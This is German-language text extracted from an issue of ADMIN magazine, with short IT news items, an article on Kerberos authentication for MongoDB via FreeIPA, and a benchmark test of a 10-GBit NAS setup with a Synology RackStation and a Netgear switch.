Mirage OS 1.0 erschienen<br />
Wie das Xen-Projekt mitteilt, ist das<br />
Mirage OS jetzt in Version 1.0 verfügbar<br />
[3]. Es ist als minimalistisches Betriebssytem<br />
für Clouds gedacht, das auf dem<br />
Xen-Hypervisor basiert und ihn mit<br />
einer extra klein gehaltenen Laufzeitumgebung<br />
versieht. In der Cloud installierte<br />
Server-Anwendungen sind damit<br />
kleiner und laufen schneller als<br />
auf einem konventionellen Betriebssystem<br />
wie Linux.<br />
Geschrieben ist die Laufzeitumgebung<br />
in der funktionalen Programmiersprache<br />
Ocaml. Auch<br />
Protokolle wie TCP/IP, DNS, SSH,<br />
OpenFlow, HTTP, XMPP und ein<br />
Kommunikationsprotokoll für<br />
virtuelle Maschinen wurden in<br />
Ocaml implementiert. Die insgesamt<br />
mehr als 50 Bibliotheken<br />
sind im Mirage-Github-Repository<br />
zu finden.<br />
Als Beispiel für die Leistungsfähigkeit<br />
von Mirage OS wird in der Ankündigung<br />
ein Nameserver genannt, der deutlich<br />
mehr Anfragen pro Sekunde bedienen<br />
kann als der Unix-Nameserver BIND.<br />
Gleichzeitig ist die zugehörige virtuelle<br />
Maschine deutlich kleiner und erfordert<br />
weniger Programmcode. Zu Testzwecken<br />
lassen sich Mirage-Systeme auch<br />
als Benutzerprozesse unter Unix-<br />
Betriebssystemen wie Linux und OS<br />
X ausführen. Mirage lässt sich recht<br />
einfach über den Ocaml-Paketmanager<br />
installieren.<br />
www.admin-magazin.de
WD bringt Kombifestplatte<br />
mit 1 TByte<br />
Solid State Disks sind schnell, aber teuer; deshalb<br />
enthält die neue WD Black 2 Dual Drive neben einem<br />
128 GByte großen SSD- einen 1 TByte großen HDD-Speicher.<br />
Als Preis empfiehlt der Hersteller 299 Euro.<br />
Die 2,5-Zoll-Hybridfestplatte lässt sich mit einem Kabel als normales Speichermedium<br />
in Laptops und Desktops einbauen und ansprechen. Dabei erscheint<br />
zunächst der SSD-Teil als eigene Partition, der Festplattenspeicher erscheint mit<br />
den passenden Windows-Treibern für Windows XP bis Windows 8.1 als unabhängige<br />
Partition.<br />
WD bewirbt sein neuestes Produkt mit der ungewöhnlichen Flexibilität, die dem<br />
User erlaubt, festzulegen, welche Daten auf welchem Bereich landen. Bei den<br />
meisten anderen Hybrid-Platten, die in der Regel einen erheblich sparsamer ausgestatteten<br />
SSD-Bereich enthalten, entscheidet ein in die Firmware integrierter<br />
Caching-Algorithmus über den Ort des Datenspeichers. Bei der WD Black 2 Dual<br />
Drive liegt diese Entscheidung beim Anwender. Das derzeit ausschließlich Windows-spezifische<br />
Design macht das Gerät allerdings unbrauchbar für Mac- und<br />
Linux-Benutzer.<br />
n Info<br />
Neueste nachrichten<br />
immer auf<br />
www.admin-magazin.de<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31316<br />
[1] Go Playground: [http://play.golang.org]<br />
[2] Go Tour: [http://tour.golang.org]<br />
[3] Mirage OS: [http://www.openmirage.org]<br />
Vertrauen ins Internet schwindet weiter<br />
Einer aktuellen BITKOM-Umfrage zufolge halten 80 Prozent<br />
der Internetnutzer in Deutschland ihre persönlichen Daten im<br />
Internet generell für unsicher: 33 Prozent halten sie für „völlig<br />
unsicher“ und 47 Prozent für „eher unsicher“. Im Juli, nach den<br />
ersten Snowden-Veröffentlichungen, hielten insgesamt erst 66<br />
Prozent der Internetnutzer ihre Daten für unsicher. Bei einer<br />
BITKOM-Umfrage im Jahr 2011 waren es nur 55 Prozent.<br />
Laut der Befragung fühlt sich fast die Hälfte (49 Prozent) der<br />
Internetnutzer von der Ausspähung ihrer persönlichen Daten<br />
durch staatliche Stellen bedroht. Im Juli des laufenden Jahres<br />
waren es erst 39 Prozent. Damit übertrifft die Sorge vor der<br />
Bespitzelung durch den Staat inzwischen sogar die Angst vor<br />
Cyber-Kriminellen. 46 Prozent der befragten Internetnutzer<br />
fühlen sich von einer möglichen Ausspähung ihrer Daten durch<br />
Kriminelle bedroht. Im Juli waren es ebenfalls 46 Prozent.<br />
Immerhin 38 Prozent fürchten die Ausspähung ihrer Daten durch<br />
Unternehmen (Juli: 34 Prozent). Nur 15 Prozent der Befragten<br />
sagen, dass sie sich im Internet überhaupt nicht bedroht fühlen<br />
(Juli: 18 Prozent).<br />
Weiter gelitten hat auch das Vertrauen der Bürger, wenn es um<br />
den Umgang sowohl des Staates als auch der Wirtschaft mit<br />
ihren persönlichen Daten geht. Laut Umfrage misstrauen 68 Prozent<br />
der Internetnutzer Staat und Behörden beim Umgang mit<br />
ihren persönlichen Daten im Web. Im Juli waren 58 Prozent und<br />
im Jahr 2011 war es mit 40 Prozent sogar noch eine Minderheit,<br />
die staatlichen Stellen in puncto Datenschutz misstraute.<br />
Nicht weniger schlecht ist das Ergebnis für die Wirtschaft. Immerhin<br />
64 Prozent der befragten Internetnutzer misstrauen der<br />
„Wirtschaft allgemein“, wenn es um den Umgang mit ihren Daten<br />
im Netz geht.<br />
Anzeige
Copyright, 123RF<br />
MongoDB und FreeIPA im Einklang<br />
Ticket-Dienst<br />
dvarg, 123RF<br />
MongoDB und FreeIPA sind zwei beliebte OpenSource-Tools, die beide schon einmal Thema in der Admin-<br />
Story waren. Diesmal geht es darum, wie sich die beiden Tools miteinander verbinden lassen. Thorsten Scherf<br />
Die NoSQL-Datenbank MongoDB ist<br />
recht großzügig, was den Zugriff auf<br />
die Datenbanken und den darin gespeicherten<br />
Collections betrifft. Von<br />
Haus aus hat hier nämlich jeder Zugriff.<br />
Natürlich besteht die Möglichkeit, diesen<br />
Zugriff einzuschränken, sodass ein<br />
Benutzer sich mittels Namen und Passwort<br />
authentifizieren muss. MongoDB<br />
greift hierfür auf die System-Collection<br />
»system.users« zurück. Über die Methode<br />
»db.addUser()« füllt man die<br />
Datenbank dann mit den gewünschten<br />
Account-Daten und Zugriffsrechten.<br />
Benutzer sind hierbei für jede ge-<br />
wünschte Datenbank zu definieren.<br />
Dies könnte für die Datenbank »football«<br />
wie folgt aussehen:<br />
# mongo localhost/football<br />
db.addUser( { user: "tscherf",<br />
pwd: "redhat",<br />
roles: [ "readWrite",U<br />
"dbAdmin" ]<br />
} )<br />
Dieser Aufruf erzeugt ein Benutzerobjekt<br />
für den Zugriff auf die Datenbank<br />
»football«. Das Passwort wird dabei als<br />
SHA256-Hash hinterlegt. Soll der gleiche<br />
Benutzer auch Zugriff auf eine andere<br />
Datenbank bekommen, muss man<br />
den Benutzer auch dort definieren.<br />
Vorsicht<br />
Die Authentifizierung und Autorisierung<br />
eines Benutzers nimmt MongoDB stets<br />
auf Datenbankebene vor.<br />
Kommt das gleiche Passwort zum<br />
Einsatz, ist auch der Passwort-Hash<br />
für die einzelnen Datenbanken identisch.<br />
Dies sollte man im Hinterkopf<br />
behalten, wenn man mit der Challenge-<br />
Response basierten Authentifizierung<br />
auf dem Datenbank-Server arbeitet. Ist<br />
n Listing 1: MongoDB mit Passwort<br />
01 # mongo rhel/football ‐u tscherf ‐p redhat<br />
02 connecting to: rhel/football<br />
03 > db.clubs.find({Mitglieder: {"$gt": 100000}})<br />
04 { "_id" : ObjectId("5295cddd140bf9a7a5cbfee9"), "Name" : "FC Schalke 04", "Farben" : "Blauweiß", "Mitglieder" : 111000, "Anschrift" : [<br />
{ "Strasse" : "Ernst‐Kuzorra‐Weg 1", "PLZ" : 45891, "Stadt" : "Gelsenkirchen" } ] }<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Login<br />
Admin-Story<br />
17<br />
der Password-Hash einmal geknackt,<br />
bekommen Angreifer Zugriff auf alle<br />
Datenbanken eines Benutzers. Es wird<br />
daher empfohlen, Applikationen mit<br />
unterschiedlichen Account-Namen und<br />
Passwörtern auszustatten.<br />
Der authentifizierte Zugriff auf den<br />
Server erfolgt mithilfe des Kommandozeilentools<br />
»mongo«, das voraussetzt,<br />
dass der Server zuvor mit der Option<br />
»‐‐auth« gestartet wurde (Listing 1). Die<br />
Option ist in der Konfigurationsdatei<br />
»/etc/mongod.conf« von Haus aus nicht<br />
gesetzt.<br />
MongoDB Enterprise<br />
In der Enterprise-Edition von MongoDB<br />
[1] steht neben der Challenge-Response-basierten<br />
Authentifizierung auch<br />
die Kerberos-Methode zur Verfügung.<br />
Das ermöglicht, für die Anmeldung bei<br />
MongoDB auf Benutzerkonten eines<br />
bereits bestehenden Identity-Management-Systems<br />
zurückzugreifen.<br />
In »system.users« ist dann nur noch<br />
zu definieren, welche Rechte die<br />
Kerberos-Benutzer für eine bestimmte<br />
Datenbank haben. Die Rechte werden<br />
mithilfe von Rollen abgebildet. Statt<br />
des Benutzernamens muss bei der Kerberos-basierten<br />
Authentifizierung das<br />
Kerberos-Principal des Benutzers oder<br />
des Services angeben werden.<br />
In meinem Beispiel greife ich auf das<br />
Identity-Management-Framework Free-<br />
IPA zurück. Es enthält neben einem<br />
LDAP-Server auch einen Kerberos-<br />
Server, der zur Authentifizierung<br />
der MongoDB-Benutzer zum Einsatz<br />
kommen soll. Mehr Informationen zur<br />
FreeIPA-Konfiguration sind in meinem<br />
ADMIN-Artikel [2] zu finden.<br />
Damit MongoDB seine Benutzer mittels<br />
einer externen Quelle – dem Kerberos-<br />
Server – authentifiziert, müssen die<br />
folgenden Optionen in der Konfigurationsdatei<br />
des Datenbank-Servers<br />
stehen:<br />
auth = true<br />
setParameter=authenticationU<br />
Mechanisms=GSSAPI<br />
Die erste Option aktiviert die Authentifizierung,<br />
die zweite definiert die<br />
Kerberos-Methode. Fehlt die Methode,<br />
verwendet MongoDB die zuvor besprochene<br />
Challenge-Response-Variante.<br />
An der Stelle sei noch einmal der<br />
Hinweis erlaubt, dass die Authentifizierungsvariante<br />
mittels GSSAPI lediglich<br />
in der Enterprise-Edition möglich ist,<br />
die Community-Edition gibt an dieser<br />
n Listing 2: Server-Start<br />
01 # env KRB5_KTNAME=/opt/mongodb/mongodb.keytab \<br />
02 /opt/mongodb/bin/mongod ‐‐dbpath /opt/<br />
mongodb/data \<br />
03 ‐‐fork ‐‐logpath /opt/mongodb/logs/mongod.<br />
log \<br />
04 ‐‐smallfiles \<br />
05 ‐‐auth ‐‐setParameter<br />
authenticationMechanisms=GSSAPI
18<br />
Login<br />
Admin-Story<br />
n Listing 3: Kerberos-Principal<br />
01 # mongo localhost/football<br />
02 db.addUser( {<br />
03 "user": "tscherf@VIRT.TUXGEEK.<br />
DE",<br />
04 roles: [ "readWrite", "dbAdmin" ]<br />
05 "userSource" : "$external"<br />
06 } )<br />
n Listing 4: Verbindung per Kerberos<br />
01 # /opt/mongodb/bin/mongo rhel.virt.tuxgeek.de/<br />
football \<br />
02 ‐‐authenticationMechanism=GSSAPI \<br />
03 ‐‐authenticationDatabase='$external' \<br />
04 ‐‐username tscherf@VIRT.TUXGEEK.DE<br />
n Listing 5: Service-Ticket<br />
01 # klist<br />
02 Ticket cache: FILE:/tmp/krb5cc_0<br />
03 Default principal: tscherf@VIRT.TUXGEEK.DE<br />
04 <br />
05 Valid starting Expires Service<br />
principal<br />
06 11/27/13 15:19:00 11/28/13 15:18:09 krbtgt/<br />
VIRT.TUXGEEK.DE@VIRT.TUXGEEK.DE<br />
07 11/27/13 15:19:23 11/28/13 15:18:09 mongodb/<br />
rhel.virt.tuxgeek.de@VIRT.TUXGEEK.DE<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31319<br />
[1] MongoDB-Enterprise: [https:// www. mongodb.<br />
com/ products/ mongodb‐enterprise]<br />
[2] Thorsten Scherf, Identity-Management mit<br />
FreeIPA 2: [http:// www. admin‐magazin. de/<br />
Online‐Artikel/ Technical‐Review/ Identity‐Ma<br />
nagement‐mit‐FreeIPA‐2]<br />
n Autor<br />
Thorsten Scherf arbeitet als Principal Consultant für<br />
Red Hat EMEA. Er ist oft als Vortragender auf Konferenzen<br />
anzutreffen. Wenn ihm neben der Arbeit und<br />
Familie noch Zeit bleibt, nimmt er gerne an Marathonläufen<br />
teil.<br />
Stelle einen Fehler aus.<br />
Die Enterprise-Edition<br />
kann jedoch in einer<br />
zeitlich und funktional<br />
unlimitierten Evaluierungsversion<br />
von der<br />
MongoDB-Enterprise-<br />
Website heruntergeladen<br />
werden [1].<br />
Der Datenbank-Server<br />
muss Teil der FreeIPA-<br />
Domäne sein, damit<br />
der Zugriff funktioniert.<br />
Sollte dies nicht bereits<br />
der Fall sein, nimmt ein<br />
Aufruf von »ipa‐client‐install«<br />
den Server in die Domäne auf. Im<br />
Anschluss muss man für den MongoDB-<br />
Service ein Kerberos-Principal auf dem<br />
FreeIPA-System anlegen. Hierbei hilft<br />
das Tool »ipa«:<br />
# kinit admin<br />
# ipa service‐add mongodb/U<br />
fedora.virt.tuxgeek.de<br />
Im Anschluss ist die Keytab-Datei des<br />
Services auf das Datenbank-System<br />
zu übertragen, am einfachsten mit<br />
»ipa‐getkeytab«:<br />
# ipa‐getkeytab ‐s ipa1.virt.U<br />
tuxgeek.de ‐p mongodb/fedora.virt.U<br />
tuxgeek.de ‐k /etc/mongodb.keytab<br />
Die Keytab-Datei sollte dabei dem Benutzer<br />
»mongod« gehören und nur für<br />
ihn lesbar sein. Alternativ besteht die<br />
Möglichkeit, die Keytab-Datei direkt<br />
vom Datenbank-System aus zu generieren.<br />
Das setzt aber voraus, dass das<br />
Tool »ipa‐admintools« installiert ist.<br />
MongoDB muss nun natürlich noch wissen,<br />
welche Keytab-Datei zum Einsatz<br />
kommen soll. Diese Information übergebe<br />
ich mittels »KRB5_KTNAME=/etc/<br />
mongodb.keytab« in der Datei<br />
»/etc/sysconfig/mongod«. Wer keine<br />
paketierte Version von MongoDB besitzt,<br />
kann den Server auch mit allen<br />
notwendigen Optionen von der Kommandozeile<br />
aus starten (Listing 2).<br />
Benutzereinträge in der Collection<br />
»system.users« können nun einen Kerberos-Principal<br />
enthalten, um zu bestimmen,<br />
welcher Benutzer Zugriff auf<br />
Abbildung 1: Zur Administration der MongoDB gibt es<br />
auch einige GUIs wie etwa Robomongo.<br />
eine bestimmte Datenbank bekommt<br />
(Listing 3).<br />
Um nun einen Kerberos-authentifizierten<br />
Zugriff auf die Mongo-Shell zu<br />
erhalten, muss man zuerst ein entsprechendes<br />
Ticket-Granting-Ticket (TGT)<br />
vom Kerberos-Server anfordern. Dies<br />
geschieht entweder beim Login auf<br />
einem System durch ein entsprechendes<br />
PAM-Modul oder aber ganz einfach<br />
mittels »kinit«. Danach kann man dann<br />
die Mongo-Client-Anwendung mit allen<br />
notwendigen Optionen aufrufen, um<br />
sich dann mit der gewünschten Datenbank<br />
verbinden zu lassen (Listing 4).<br />
Der Aufruf von »klist« bestätigt schließlich,<br />
dass der Benutzer nun nicht nur<br />
über einen Kerberos-TGT verfügt, sondern<br />
ebenfalls ein Service-Ticket für die<br />
Datenbank erhalten hat (Listing 5).<br />
Anstatt die Mongo-Shell mit allen notwendigen<br />
Parametern aufzurufen, lässt<br />
sich eine Kerberos-authentifizierte Verbindung<br />
zu einer Datenbank auch mit<br />
dem folgenden Statement aus der Shell<br />
heraus aufrufen:<br />
use $external<br />
db.auth( { mechanism: "GSSAPI", U<br />
user: "tscherf@VIRT.TUXGEEK.DE" } )<br />
Wer Lust hat, kann an dieser Stelle<br />
auch noch X.509-Zertifikate für seinen<br />
MongoDB-Server und sämtliche Clients<br />
vom FreeIPA-Framework ausstellen<br />
lassen. Hiermit lässt sich dann die Verbindung<br />
zwischen Server und Client<br />
verschlüsseln. Alle hierfür notwendigen<br />
Tools sind dank des FreeIPA-Frameworks<br />
bereits vorhanden. (ofr) n<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
10-GBit-NAS-Setup im Test<br />
Ohne Tempolimit<br />
lightwise, 123RF<br />
Vor zehn Jahren noch unbezahlbar, erobern<br />
sich 10-GBit-Netze langsam auch in kleineren<br />
Unternehmen ihren Platz. Das ADMIN-Magazin<br />
hat ein Setup für Preisbewusste getestet.<br />
Jens-Christoph Brendel<br />
Die Komponenten der Computertechnik<br />
entwickeln sich oft mit einem<br />
Tempo, das jede Vorstellung sprengt.<br />
Der erste 4-Bit-Mikroprozessor, Intels<br />
4004, bestand 1971 aus ganzen 2300<br />
Transistoren. Heute, rund 40 Jahre später,<br />
kommen dagegen auf Intel-Core-<br />
CPUs fast anderthalb Milliarden unter,<br />
Abbildung 1: Maximale Transfergeschwindigkeiten verschiedener<br />
Busse und Netze.<br />
über 600 000mal so viele. Könnte man<br />
selbst das höchste Gebäude der Welt in<br />
demselben Maß verkleinern wie diese<br />
Transistoren, man müsste es nicht mit<br />
der Lupe suchen, man bräuchte ein gutes<br />
Mikroskop.<br />
Diese rasante Entwicklung hat allerdings<br />
ein Problem: Sie vollzieht sich<br />
nicht gleichmäßig für<br />
alle Kernbestandteile<br />
eines Rechners.<br />
Das Problem<br />
Etwa zur selben Zeit<br />
wie die ersten 8-Bit-<br />
Prozessoren, die auf<br />
den 4004 folgten,<br />
startete IBM das<br />
Projekt Winchester,<br />
dessen Name lange<br />
als Synonym für Festplatten<br />
galt. Das erste<br />
Winchester-Laufwerk,<br />
das IBM 3340, fasste<br />
35 oder 70 MByte und<br />
konnte Daten mit einer<br />
Zugriffsgeschwindigkeit von 25 Millisekunden<br />
bereitstellen. Die Kapazität<br />
hat sich im Vergleich zu heute somit<br />
nur um einen rund zehnmal kleineren<br />
Faktor gesteigert als die Transistorenanzahl.<br />
Noch sehr viel schlechter sieht<br />
es bei der Zugriffszeit aus: Weil sich die<br />
Rotationsgeschwindigkeit der Platten<br />
aus physikalischen Gründen nicht beliebig<br />
erhöhen lässt, sank die mittlere<br />
Zugriffszeit in den letzten vier Jahrzehnten<br />
gerade mal auf rund ein Zehntel<br />
der historischen Ausgangsmarke.<br />
Den Ausweg aus diesem Dilemma weisen<br />
SSDs. Weil sie ohne mechanische<br />
Teile auskommen, lassen sich mit<br />
ihnen Zugriffszeiten von 0,08 bis 0,16<br />
ms realisieren. Das ist zwar ebenfalls<br />
noch sehr weit entfernt von Verhältnis<br />
der Transistoren, aber immerhin ist die<br />
benötigte Zeit rund 30mal kürzer als<br />
bei einer modernen Platte. Damit sind<br />
Transferleistungen beim sequenziellen<br />
Lesen von rund 500 MByte/s möglich.<br />
Doch schon ergibt sich das nächste<br />
Problem: Für einen SSD-bestückten<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Netzwerk<br />
10-GBit-NAS<br />
21<br />
Fileserver wäre nun das Gigabit-Netzwerk<br />
zu langsam, dass ebenfalls nicht<br />
ganz Schritt gehalten hat. Ein aktuelles<br />
Gigabit-Netz ist gerade mal 100mal so<br />
schnell wie die ersten Ethernet-Standards<br />
(10Base5/10Base2/10Base-T)<br />
mit ihren 10 MBit/s. Inzwischen kann<br />
man sich mit 10-GBit-Ethernet behelfen<br />
(und 40 sowie 100 GBit stehen vor der<br />
Tür), aber weil man immer wieder eine<br />
Lücke reißt, sobald man eine stopft,<br />
muss man dabei dann schon auf die<br />
Performance der Bus-Systeme schauen<br />
(Abbildung 1) …<br />
Standards<br />
10-GBit-Ethernet wird im über 500<br />
Seiten starken Standard IEEE 802.3ae-<br />
2002 definiert [1], der im Juni 2002<br />
verabschiedet wurde. Zuerst bezog er<br />
sich nur auf verschiedene Glasfaserverbindungen<br />
mit Längen ab 300 Meter<br />
und bis zu 40 Kilometer (Tabelle 1).<br />
Zwei Jahre später, 2004 (802.3ak-2004)<br />
Abbildung 2: Das NAS-Modell RS 10613 XS+ der Firma<br />
Synology, mit dem wir das 10-GBit-Setup getestet<br />
haben.<br />
n Tabelle 1: Physikalische Schnittstellen in 802.3ae<br />
Typ Wellenlänge (nm) max. Distanz (m) Anwendung<br />
10GBASE-LX4 1310 Multimode: 300, Mono: 10 000 kaum benutzt<br />
10GBASE-SR 850 Multimode: 82, Mono: 300 Rechenzentren<br />
10GBASE-LR 1310 Mono: 10 000 Metro Campus<br />
10GBASE-ER 1550 Mono: 40 000 Metro WAN<br />
10GBASE-SW 850 Mono: 300 Gebäude, vertikal<br />
10GBASE-LW 1310 Mono: 10 000 Rechenzentren/Backbone<br />
10GBASE-EW 1550 Mono: 40 000 Rechenzentren/Backbone
22<br />
Netzwerk<br />
10-GBit-NAS<br />
Abbildung 3: Der Performance-Monitor, der im Betriebssystem der<br />
Synology-RackStation integriert ist.<br />
Abbildung 5: Eine einfache GUI hilft beim Administrieren des kleinen<br />
10-GBit-Switches.<br />
[2], kamen auch Kupferverbindungen<br />
als physikalische Interfaces hinzu.<br />
Zunächst über Kabel, wie sie auch<br />
Infiniband benutzt 10GBASE-CX4 (bis<br />
15m) beziehungsweise über SFP+-<br />
Verbindungen. Im Jahr 2006 erweiterte<br />
sich das Angebot um 10GBASE-T (mit<br />
der Norm IEEE 802.3an-2006) [3], das<br />
die Verwendung von Unshielded-<br />
Twisted-Pair-Kabeln mit RJ45-Steckern<br />
erlaubt, wie sie prinzipiell auch bei den<br />
Ethernet-Vorläufern im Einsatz waren.<br />
Mit Kabeln der Kategorie 6A oder besser<br />
sind damit Entfernungen bis zu 100<br />
Metern möglich.<br />
Alle 10-GBit-Spielarten unterstützen<br />
übrigens nur noch Vollduplex-Punktzu-Punkt-Verbindungen<br />
und Switche,<br />
Halbduplex-Verbindungen und Hubs<br />
gibt es hier nicht mehr.<br />
Adaption<br />
Zu den Treibern bei der Durchsetzung<br />
des 10-GBit-Standards zählen neben<br />
den stetig wachsenden Datenvolumen<br />
und der Herausforderung durch immer<br />
schnellere Prozessoren vor allem Virtualisierung,<br />
Cloud Computing, Bildverarbeitung<br />
und Netzwerkspeicher. Gerade<br />
die aktuellen Multicore-Prozessoren<br />
Abbildung 4: Der 10-GBit-Switch von Netgear, speziell<br />
entwickelt für mittlere und kleine Unternehmen.<br />
können ein einzelnes Gigabit-Interface<br />
schnell zum I/O-Flaschenhals werden<br />
lassen. In diesem Fall leidet die Effizienz<br />
des gesamten Systems. Im Falle der<br />
Virtualisierung teilen sich viele virtuelle<br />
Maschinen die Netzwerkbandbreite<br />
ihres Hosts und können so langsame<br />
Verbindungen leicht überfordern. Bei<br />
der Bildverabeitung sind ebenfalls riesige<br />
Datenmengen im Spiel. Allein die<br />
bildgebenden Verfahren der modernen<br />
Medizin verbrauchen einer Schätzung<br />
zufolge 30 Prozent des weltweiten Storage.<br />
Und schließlich liegt beim Netzwerkspeicher<br />
selber das Problem auf<br />
der Hand – ohne schnelle Netze sind<br />
große Kapazitäten und Flash-Speichermedien<br />
nicht zu handhaben.<br />
Dennoch vollzog sich die Einführung<br />
der 10-GBit-Technik eher zögerlich.<br />
Das lag sicher auch an den anfangs<br />
sehr hohen Kosten: Zum Zeitpunkt der<br />
Verabschiedung des ersten Standards<br />
überstiegen die Kosten 10 000 Dollar<br />
pro Port. Unter diesen Bedingungen<br />
kam nur der Einsatz in ausgewählten<br />
Netzknotenpunkten infrage. Inzwischen<br />
sind 10-GBit-Netzwerkkarten ab<br />
zirka 250 Euro zu haben und auch kleinere<br />
Switche kann man heute schon<br />
ab etwa 700 Euro bekommen. Solches,<br />
erst in letzter Zeit verfügbares Equipment<br />
– mit dem auch ein Mittelständler<br />
diese Technik nutzen kann – hat das<br />
ADMIN-Magazin in diesem Test unter<br />
die Lupe genommen.<br />
Testaufbau<br />
Für unseren Test haben wir ein 10-GBit-<br />
Setup gewählt, das aus einem Standardserver<br />
unter Windows Server 2008<br />
R2 mit zwei Quadcore-CPUs und 16<br />
GByte RAM bestand, in den wir eine 10-.<br />
GBit-Karte von Intel X540-T2 [4] eingebaut<br />
hatten, die man ab etwa 450 Euro<br />
bekommen kann. Die Karte verfügt<br />
über zwei Ports für Twisted-Pair-Kupferkabel.<br />
Mit Kabeln der Kateorie 6 sind<br />
55 Meter, mit Kabeln der Kategorie 6A<br />
bis 100 Meter möglich. Vorhandene Cat-<br />
5e-Kabel sind für kurze Distanzen prinzipiell<br />
ebenfalls verwendbar, aber nicht<br />
offiziell supported. Mit diesen Kabeln<br />
wird nur maximal Gigabit-Ethernet bis<br />
100 Meter unterstützt, was der Adapter<br />
selbstverständlich auch beherrscht.<br />
Das 10-GBit-Interface lässt sich unter<br />
diversen Windows-Versionen, Linux<br />
(RHEL 5/6, SLES 10/11), FreeBSD 9 und<br />
VMware ESX/ESXi einsetzen.<br />
Als Gegenstelle benutzen wir ein NAS-<br />
System der Firma Synology [5], Modell<br />
RS 10613 XS+ (Abbildung 2), das ebenfalls<br />
mit einem 10-GBit-Intel-Adapter<br />
ausgestattet war. Es verfügt über 10<br />
Platteneinschübe, mit denen es sich<br />
bis auf 424 TByte ausbauen lässt. Bei<br />
Bedarf kann man die Kapazität über<br />
Erweiterungsgehäuse allerdings bis auf<br />
106 Platten erhöhen. Ein optionaler<br />
SSD-Cache war bei unserem Modell<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Netzwerk<br />
10-GBit-NAS<br />
23<br />
nicht an Bord. Das Betriebssystem<br />
beherrscht Verschlüsselung (AES)<br />
und verfügt über HA- und Disaster-<br />
Recovery-Features. Einstellen lassen<br />
sich die RAID-Modi Einzelplatte, JBOD,<br />
RAID 0/1/5/6/10. Neben Freigaben für<br />
Windows- und Mac-Clients kann man<br />
auch iSCSI-LUNs einrichten. Unter<br />
Windows bildet in diesem Fall der Microsoft-iSCSI-Initiator<br />
(Abbildung 7) das<br />
Gegenstück zum iSCSI-Target im NAS-<br />
Betriebssystem. Wir haben das NAS<br />
sowohl mit Festplatten (WD 3200BEKT)<br />
– mit denen man eine 10-GBit-Verbindung<br />
allerdings nur schwer auslasten<br />
kann – als auch mit verschiedenen<br />
einzelnen SSDs von Seagate und Intel<br />
betrieben. Dabei nutzten wir sowohl<br />
CIFS-Freigaben wie auch iSCSI, beides<br />
mit NTFS-Filesystem. Performance und<br />
Ressourcenausnutzung der Synology-<br />
RackStation lassen sich im Betrieb live<br />
verfolgen (Abbildung 3).<br />
Zwischen Rechner und NAS haben wir<br />
einen erst kürzlich neu vorgestellten<br />
10-GBit-Switch ProSafe XS70BE [6] der<br />
Firma Netgear platziert (Abbildung<br />
4), der speziell für kleinere Unternehmen<br />
entwickelt wurde. Der Switch<br />
verfügt über 8 Ports für herkömmliche<br />
RJ45-Stecker und Kupfer-Twisted-<br />
Pair-Kabel (10GBASE-T) und einen<br />
Fiber-Combo-Port mit SFP+-Konnektor.<br />
Die Software offeriert eine Reihe interessanter<br />
Layer2-Features wie VLAN,<br />
Abbildung 7: Der Microsoft-iSCSI-Initiator<br />
für unkomplizierte iSCSI-Verbindungen.<br />
QoS, Port Trunking<br />
und Rate Limiting.<br />
Ein Management-Tool<br />
bietet unter Windows<br />
Unterstützung für<br />
zumindest einfache<br />
Administrationsaufgaben<br />
(Abbildung 5). An<br />
die Fähigkeiten großer<br />
gemanagter Switche<br />
kommt es aber nicht<br />
heran.<br />
Die Resultate<br />
Als Benchmark-Software<br />
verwendeten wir<br />
unter Windows das<br />
bewährte iometer [7].<br />
Wir skalierten die Last<br />
stufenweise von einem<br />
bis zu 30 Worker-Prozessen, von denen<br />
jeder mit 100 Prozent sequenziellem<br />
Lesen in 4K-Blöcken, ausgerichtet an<br />
4K-Grenzen, beschäftigt war.<br />
Alle Durchläufe, die beispielhaft Abbildung<br />
6 zeigt, lasen von einer einzelnen<br />
SSD. Liefen die Zugriffe – egal ob CIFS<br />
oder iSCSI – über eine 1-GBit-Verbindung,<br />
so limitierte das Netzwerk den<br />
möglichen Durchsatz auf die maximal<br />
rund 125 MBit/s, die damit übertragbar<br />
sind.<br />
Die 10-GBit-Verbindung erlaubt es dagegen,<br />
die Möglichkeiten der SSD besser<br />
auszuschöpfen. Weil der maximale<br />
Durchsatz der getesteten SSD von rund<br />
500 MByte/s nur unter optimalen Bedingungen<br />
zu erreichen ist, liegen die<br />
gemessenen Werte nur bei der Hälfte.<br />
Das ergibt zum einen ein vermutlich<br />
praxisnäheres Bild als in speziell getunten<br />
Umgebungen für Hersteller-Benchmarks<br />
und zeigt andererseits, dass da<br />
noch Reserven sind, die – gegebenenfalls<br />
durch Trunkieren von mehreren<br />
10-GBit-Ports – auch RAID-Gruppen aus<br />
SSDs unterstützen könnten. Synology<br />
selbst will in einem voll mit SSDs bestückten<br />
NAS dieser Bauart mit einem<br />
RAID5 aus allen SSDs und mit vierfach<br />
trunkierten Ethernet-Ports über 3000<br />
MBytes/s beim Lesen gemessen haben.<br />
Fazit<br />
Große RAID-Gruppen mit Caches, Hybridplatten<br />
oder reine SSDs bringen<br />
Abbildung 6: Die Testresultate: Sequenzielles Lesen von einem SSD-<br />
Volume via CIFS und iSCSI mit 1 und 10 GBit/s.<br />
mehr Daten auf die Leitung, als eine<br />
normale Gigabit-Verbindung verkraften<br />
kann. Das übergeorderte Netzwerk<br />
wirkt in diesem Fall als Bremse, worunter<br />
schließlich die Effizienz des Gesamtsystems<br />
leidet. Mit 10-GBit-Netzen, die<br />
gerade in letzter Zeit auch für kleinere<br />
Unternehmen erschwinglich geworden<br />
sind, lässt sich dieser Engpass erfolgreich<br />
umschiffen. Dank 10GBase-T<br />
können dabei sogar ähnliche Kabel<br />
und Switche verwendet werden, wie sie<br />
schon bisher im Einsatz waren. n<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31488<br />
[1] 10-GBit-Standard: [http:// ieeexplore. ieee.<br />
org/ xpl/ mostRecentIssue. jsp? reload=true&<br />
punumber=8064]<br />
[2] 10 GBit auf Kupfer: [http:// grouper. ieee. org/<br />
groups/ 802/ 3/ ak/]<br />
[3] 10GBASE-T: [http:// standards. ieee. org/<br />
findstds/ standard/ 802. 3an‐2006. html]<br />
